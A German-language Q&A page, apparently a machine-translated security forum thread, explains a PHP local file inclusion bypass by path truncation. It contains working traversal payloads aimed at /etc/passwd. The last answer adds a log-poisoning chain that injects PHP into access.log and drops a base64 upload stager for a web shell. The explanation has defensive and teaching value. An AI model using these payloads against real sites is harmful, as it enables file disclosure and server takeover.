it-swarm-eu.dev

Wie kann ich diesen Pfad verwenden, um die lokale Dateieinbeziehung zu umgehen / auszunutzen?

Ich habe versucht, auf einigen Websites ein Skript zum Scannen von Sicherheitslücken (Uniscan 6.0) auszuführen, und dann eine Website gefunden, die mit diesem folgenden Pfad ausgenutzt werden kann. (enthalten ein Wort "ungültig", Parameter/Website werden beide zensiert)

http://www.website.com/index.php?param1=invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.&param2=value&param3=value

Für meinen nächsten Schritt möchte ich wirklich verstehen, was genau passiert, also versuche ich, es manuell auszunutzen. (Ich habe mir einige Tutorials über LFI angesehen.)

  1. ../../../../../../../../../../../../../../../etc/passwd& .. .
  2. ungültig ../../../../../../../../../../../../../../../ etc/passwd &. ..
  3. ../../../../../../../../../../../../../../../etc/passwd%00& ...
  4. ../../../../../../../../../../../../../../../etc/passwd/. /./& ...
  5. ../../../../../../../../../../../../../../../etc/passwd%00 /. /. /% ...

aber sie haben nicht funktioniert außer dem ersten sehr langen Weg, was ist los?

Welchen PHP-Code soll ich verwenden? Und wie könnte dieser lange Weg diesen anfälligen PHP-Code umgehen?

Die folgenden Informationen können hilfreich sein.

< HTTP/1.1 200 OK
< Date: Thu, 19 Jul 2012 19:46:03 GMT
< Server: Apache/2.2.3 (CentOS)
< X-Powered-By: PHP/5.1.6
< Set-Cookie: PHPSESSID=[blah-blah]; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Vary: Accept-Encoding
< Content-Length: 2094
< Content-Type: text/html
30
Smile.Hunter

Faszinierend! @catalyze hat hier eine wirklich faszinierende, schöne Situation ausgegraben. Ich wollte mir die Zeit nehmen, um zusammenzufassen, was hier auf dieser Site los ist. (Volle Credits an @catalyze und Francesco "ascii" Ongaro; ich fasse nur zusammen, was sie erklärt haben.)

Zusammenfassung. Dies ist kein alltäglicher LFI-Angriff. Stattdessen ist dies etwas ungewöhnlicheres und klügeres. Hier haben wir eine Sicherheitslücke, die mit Standard-LFI-Methoden nicht ausgenutzt werden kann. Sie müssen kniffliger sein, um herauszufinden, wie Sie es ausnutzen können.

Hintergrund. Zuerst muss ich Ihnen zwei Fakten über die Dateiverwaltung von PHP erzählen, die von Francesco "ascii" Ongaro und anderen entdeckt wurden:

  • Fakt 1. Sie können am Ende eines Dateinamens etwas hinzufügen. Jeder weiß, dass /./etc/passwd Nur eine andere Möglichkeit ist, auf die Datei /etc/passwd Zu verweisen. Aber hier sind einige, von denen Sie vielleicht nichts gewusst haben.

    Unter PHP stellt sich heraus, dass /etc/passwd/ Auch auf die Datei /etc/passwd Verweist: Nachgestellte Schrägstriche werden entfernt. Wild, was? Dies funktioniert nicht unter Basis-Unix, daher ist es ein wenig überraschend, dass PHP einen solchen Dateinamen akzeptieren würde, aber es scheint, dass PHP selbst abstreift) Nachgestellte Schrägstriche vor dem Öffnen der Datei.

    Sie können beliebig viele nachgestellte Schrägstriche anhängen: /etc/passwd//// Ist ebenfalls in Ordnung.

    Und Sie können ./ Anhängen (so oft Sie möchten). Zum Beispiel beziehen sich /etc/passwd/., /etc/passwd/./ Und /etc/passwd/././. Alle auf /etc/passwd. Verrückt werden! PHP ist mir egal.

  • Fakt 2. Lange Pfade werden abgeschnitten. Bei den meisten PHP - Installationen wird der Dateiname, wenn er länger als 4096 Byte ist, stillschweigend abgeschnitten und alles nach den ersten 4096 Byte wird verworfen. Es wird kein Fehler ausgelöst: Die überschüssigen Zeichen werden einfach weggeworfen und PHP fährt glücklich fort.

Der Angriff. Jetzt bin ich bereit, den Angriff zu beschreiben. Ich zeige Ihnen den anfälligen Code, warum Standard-LFI-Angriffe nicht funktionieren und wie Sie dann einen clevereren Angriff erstellen, der funktioniert. Das Ergebnis erklärt, was @catalyze in seinem Pentest gesehen hat.

Der anfällige Code. Angenommen, wir haben Code, der ungefähr so ​​aussieht:

<?php
include("includes/".$_GET['param1'].".php");
?>

Dies sieht aus wie eine LFI-Sicherheitslücke (Local File Include), oder? Aber die Situation ist tatsächlich etwas schwieriger, als es auf den ersten Blick erscheinen mag. Um zu sehen warum, schauen wir uns einige Angriffe an.

Standardangriffe. Die standardmäßige, naive Methode, um diese LFI-Sicherheitsanfälligkeit auszunutzen, besteht darin, einen Parameter anzugeben, der ungefähr so ​​aussieht wie ?param1=../../../../var/www/shared/badguy/evil. Der obige PHP Code versucht dann, die Datei includes/../../../../var/www/shared/badguy/evil.php Einzuschließen. Wenn wir annehmen, dass die Datei /var/www/shared/badguy/evil.php Existiert und vom Angreifer kontrolliert wird, dann dieser Angriff Es gelingt ihm, die Anwendung dazu zu bringen, vom Angreifer ausgewählten Schadcode auszuführen.

Dies funktioniert jedoch nur, wenn der Angreifer eine Datei mit Inhalten seiner Wahl in das Dateisystem einfügen kann, deren Dateiname auf .php Endet. Was ist, wenn der Angreifer keine Datei im Dateisystem kontrolliert, die mit .php Endet? Nun, dann werden die Standardangriffe fehlschlagen. Unabhängig davon, welchen Parameterwert der Angreifer angibt, wird nur ein Dateiname geöffnet, der mit der Erweiterung .php Endet.

Ein ausgefeilterer Angriff. Mit den zusätzlichen Hintergrundinformationen, die ich Ihnen zuvor gegeben habe, können Sie vielleicht sehen, wie Sie einen ausgefeilteren Angriff entwickeln können, der diese Einschränkung aufhebt.

Grundsätzlich wählt der Angreifer einen sehr langen Parameterwert, sodass der erstellte Dateiname länger als 4096 Byte ist. Wenn der Dateiname abgeschnitten wird, wird die Erweiterung .php Weggeworfen. Und wenn der Angreifer dafür sorgen kann, dass der resultierende Dateiname auf eine vorhandene Datei im Dateisystem verweist, ist der Angreifer in Ordnung.

Das klingt jetzt nach einem weit hergeholten Angriff. Wie hoch ist die Wahrscheinlichkeit, dass wir im Dateisystem einen Dateinamen finden, dessen vollständiger Pfad genau 4096 Byte lang ist? Vielleicht nicht so gut?

Hier kommen die Hintergrundinformationen ins Spiel. Der Angreifer kann eine Anfrage mit ?param1=../../../../etc/passwd/./././././<...> Senden (wobei das Muster ./ Viele tausend Mal wiederholt wird). Schauen Sie sich nun an, welcher Dateiname enthalten ist, nachdem das Präfix vorangestellt und die Dateierweiterung .php Hinzugefügt wurde: Es wird so etwas wie includes/../../../../etc/passwd/./././././<...>.php Sein. Dieser Dateiname ist länger als 4096 Byte und wird daher abgeschnitten. Durch das Abschneiden wird die Dateierweiterung gelöscht und ein Dateiname der Form includes/../../../../etc/passwd/./././././<...> Hinterlassen. Und dank der Art und Weise, wie PHP nachgestellte Schrägstriche und nachfolgende ./ - Sequenzen behandelt, werden all diese Dinge am Ende ignoriert. Mit anderen Worten, dieser Dateiname wird mit = behandelt PHP entspricht dem Pfad includes/../../../../etc/passwd. Also PHP versucht, aus der Passwortdatei zu lesen, und wenn es PHP Syntaxfehler dort, es kann den Inhalt der Passwortdatei in eine Fehlerseite speichern - geheime Informationen an einen Angreifer weitergeben.

Diese Technik ermöglicht es also, einige Schwachstellen auszunutzen, die sonst mit Standardmethoden nicht ausgenutzt werden könnten. Auf den Seiten, auf die @catalyze verweist, finden Sie eine ausführlichere Diskussion und viele andere Beispiele.

Dies erklärt auch, warum @catalyze den Angriff nicht ausnutzen konnte, indem etwas wie ?param1=../../../../etc/passwd Gesendet wurde: Eine Erweiterung .php Wurde hinzugefügt, und die Datei /etc/passwd.php Existierte nicht Der Angriff schlug fehl.

Zusammenfassung. Besonderheiten im Umgang von PHP mit Dateipfaden ermöglichen alle Arten von subtilen Angriffen auf Schwachstellen, die sonst nicht ausnutzbar erscheinen würden. Für Pentester sind diese Angriffstechniken möglicherweise wissenswert.

Für Entwickler ist die Lektion dieselbe: Überprüfen Sie Ihre Eingaben; Vertrauen Sie nicht den vom Angreifer bereitgestellten Eingaben. Sie kennen klassische Web-Schwachstellen und führen sie nicht in Ihren Code ein.

33
D.W.

Endlich habe ich die Lösung gefunden!

Die Bypass-Techniken dieses LFI werden als Path Truncation-Angriff bezeichnet.

Szenario:

  • Keine White/Black-Listen, open_base_dir oder Konfigurationen mit eingeschränktem Zugriff
  • Es gibt magic_quotes Escape-Nullbytes, da addslashes () implizit für alle GPC- und SERVER-Eingaben aufgerufen wird. (in diesem Fall etc/passwd%00 würde werden etc/passwd\0, kann also nicht als korrekte Datei ausgewertet werden.)
  • include_path (innerhalb von php.ini ) enthält zuletzt einen absoluter Pfad zum Auslösen eines Teils des komplexen Quellcodes im Quellcode von PHP (zum Beispiel ) include_path = ".:/usr/share/php" )
  • PHP <? (Wer weiß?)

Nutzlast:

  • Muss mit einem nicht vorhandenen Verzeichnis beginnen
  • Fahren Sie mit dem Traversalschlitten fort und zeigen Sie auf den Pfad, der eingeschlossen werden soll
  • Beenden Sie mit dem Normalisierungs-/Kürzungsschlitten.

Kluge Leute sind hier ..

http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/

http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/

7
Smile.Hunter

Ich werde diese Frage mit dem Vorbehalt beantworten, dass ich davon ausgehe, dass dies für rechtliche Zwecke und nur für Sicherheitsuntersuchungen verwendet wird.

Wenn es sich um eine PHP Website) handelt, geschieht dies wahrscheinlich im Backend:

$file = fopen($_GET["param"], "r");
/* Do some operation on the file handler, like maybe read the file and output it */
$contents = fread($file, $size);
print $contents

Sie können dieses LFI möglicherweise nutzen, um Ihre Webshell hochzuladen und Systembefehle in der Web-Shell auszuführen. Der einfachste Weg, dies zu tun, besteht darin, in access.log zu injizieren und auf access.log zuzugreifen. Der einfachste Weg, dies zu tun, besteht darin, den Benutzeragenten oder möglicherweise sogar die GET-Anforderung so zu ändern, dass er einen PHP Code) enthält, mit dem Sie einen Stager einrichten können. Beispielsweise ein Telnet in die Website und die folgende Anforderung sollten in access.log eingefügt werden:

GET/ <?php phpinfo() ?>

Natürlich erhalten Sie nur die PHP Informationen aus access.log, aber Sie haben die Idee. Jetzt können Sie in den gleichen Zeilen leicht Folgendes tun:

GET/ <?php data = $_REQUEST['data']; $filename = $_REQUEST['filename']; file_put_contents($filename,base64_decode($data)); ?>

und laden Sie dann ein Base64-codiertes PHP - Skript hinein) und holen Sie sich dort Ihre Web-Shell. Ich überlasse es Ihnen, den Rest herauszufinden, es sollte nicht schwer sein Es gibt ein wirklich mehrteiliges Tutorial dazu auf Kaotic Creations , das Sie unbedingt lesen sollten, wenn Sie mehr darüber erfahren möchten.

5